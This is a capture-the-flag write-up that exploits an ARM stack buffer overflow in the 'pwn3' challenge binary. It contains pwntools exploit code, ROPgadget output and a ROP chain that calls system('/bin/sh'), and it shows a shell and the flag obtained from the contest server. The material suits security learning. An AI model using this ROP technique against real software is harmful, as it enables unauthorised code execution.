# Pwn3 - Simple ARM pwnThis challenge comes with the binary [pwn3](https://github.com/henriknero/writeups/tree/master/pwn3/pwn3)``` $ file pwn3 pwn3: ELF 32-bit LSB executable, ARM, EABI5 version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=46d0723fb9ff9add7b00860a2382f32656a04700, stripped```When running the binary it firstly complains that we haven't supplied the file banner.txt, so we create this. Running it again we get the following:```$ ./pwn3bannertextbuffer: ```So we can input to a char-buff via stdin. So anyway I just started blasting``` $ python -c "print('a'*0x200)" | ./pwn3 buffertextbuffer: qemu: uncaught target signal 11 (Segmentation fault) - core dumpedSegmentation fault (core dumped)```Okey so, pwnlib...```pwn template --host pwn3-01.play.midnightsunctf.se --port 10003 pwn3 > exploit``````python...io = start()array = cyclic(0x200)io.sendline(array)
io.interactive()
```![](screenshot_1.png)
So we have can overwrite the pc with the bufferoverflow, neat. We also see that we have space for some ropping looking at the stack-pointer. Now we just need to find a good gadget. We likely want to find system. 
Conveniently the author uses ```system(cat banner.txt)``` to print the banner. But if this is not the case we can probably search for /bin/sh to locate the function anyways. 
So now lets just prep the registers. I use ROPgadget to find good gadgets.``` $ ROPgadget --binary ./pwn3 --only popGadgets information============================================================0x0001ddc0 : pop {r0, ip, sp, pc}0x00015524 : pop {r0, r1, ip, sp, pc}0x00013c9c : pop {r0, r1, r2, ip, sp, pc}0x00013080 : pop {r0, r1, r2, r3, ip, sp, pc}0x000169c4 : pop {r0, r1, r2, r3, r5, ip, sp, pc}0x00028d90 : pop {r0, r1, r2, r4, ip, sp, pc}0x00024460 : pop {r0, r1, r2, r6, r7, sb, sl, fp, ip, sp, lr, pc}0x00014470 : pop {r0, r1, r3, ip, sp, pc}0x000288f0 : pop {r0, r1, r4, ip, sp, pc}0x00036558 : pop {r0, r1, r5, ip, sp, pc}0x00014ee4 : pop {r0, r2, ip, sp, pc}0x000158b4 : pop {r0, r2, r3, ip, sp, pc}0x00023b08 : pop {r0, r2, r3, r4, ip, sp, pc}0x000394f8 : pop {r0, r2, r3, r7, sb, fp, ip, sp, lr, pc}0x00021edc : pop {r0, r2, r4, r5, ip, sp, pc}0x0002aa94 : pop {r0, r2, r5, ip, sp, pc}0x00014c34 : pop {r0, r3, ip, sp, pc}0x0001c59c : pop {r0, r3, r4, ip, sp, pc}0x00011b20 : pop {r0, r3, r4, r5, ip, sp, pc}0x000108fc : pop {r0, r3, r4, r5, r6, r7, r8, ip, lr, pc}0x00043858 : pop {r0, r3, r5, ip, sp, pc}0x0002c3a4 : pop {r0, r3, r6, ip, sp, pc}0x0001e6d8 : pop {r0, r4, ip, sp, pc}0x0001fb5c : pop {r0, r4, pc}...
$ ROPgadget --binary ./pwn3 --string /bin/shStrings information============================================================0x00049018 : /bin/sh```And to find the function I just search for references to /bin/sh in ghidra. Or in this case go to the function that takes "cat banner.txt" as argument. (0x14b5c). 
```python...array = cyclic(cyclic_find(b'jaab')) + "0123" + p32(0x0001fb5c) + p32(0x00049018) + "1111" + p32(0x14b5d) io.sendline(array)io.interactive()```A good thing to notice is that I'm using 0x14b5d instead of 0x14b5c. This is due to ARM instruction alignment. So if you get wierd instructions jumping somewhere, just test shifting the address a little up or down. 
Running this against the remote server we get a shell and can simply print the flag.```$ ./exploit [*] '/home/henrik/midnight2020/pwn3/pwn3'    Arch:     arm-32-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      No PIE (0x10000)[+] Opening connection to pwn3-01.play.midnightsunctf.se on port 10003: Done[*] Switching to interactive mode                                                               ▄▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄                                                     ▄▄▄▄▄▄▄▄▄█  ▀                 ▀███ ▄█████████▄ ▄███     ▄███ ▄███   ▄███ ▄█████████▄   ██████████         ▄   ▄    ▄    █ ████▀▀▀████ ████     ████ █████▄ ████ ▀▀▀▀▀▀▀████   ██████████    ▄         ▄▀▀▄     █▄▀▀▄ ████▄▄▄████ ████  ▄  ████ ███████████     ▄▄▄███▀   ▀▀▀▄▀▀▄▀▀█       ▄      █   ▀▄▄▄▄▀   █ ██████████▀ ████▄███▄████ ████▀▀█████     ▀▀▀███▄   ███▀▄  ▀▀█              █            █ ████▀▀▀▀▀▀  ██████▀██████ ████  ▀████ ▄▄▄▄▄▄▄████   █████▀▀▄▄█   ▄        ▄█   ▄█   ▄ ▄█  █ ████        ████▀▀ ▀▀████ ████   ████ ██████████▀   ▀▀▀▀▀▀▀▀▀█      ▄      █ ██ ▄  ▄  ▄ ███ ▀▀▀▀        ▀▀▀▀     ▀▀▀▀ ▀▀▀▀   ▀▀▀▀ ▀▀▀▀▀▀▀▀▀▀    ████████▄█  ▄           ▀▄  ▀▀▀▀▀▀▀ ▄▀                                                           ▄▀ ▀█▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▀▀█▀▀▀█▀▀▀                                                           █▄▄▀  █▄▄▀        █▄▄▀ ▀▄▄█buffer: $ lsbanner.txtflagpwn3redir.sh$ cat flagmidnight{the_pwn_knight_16435f41118a38dd}```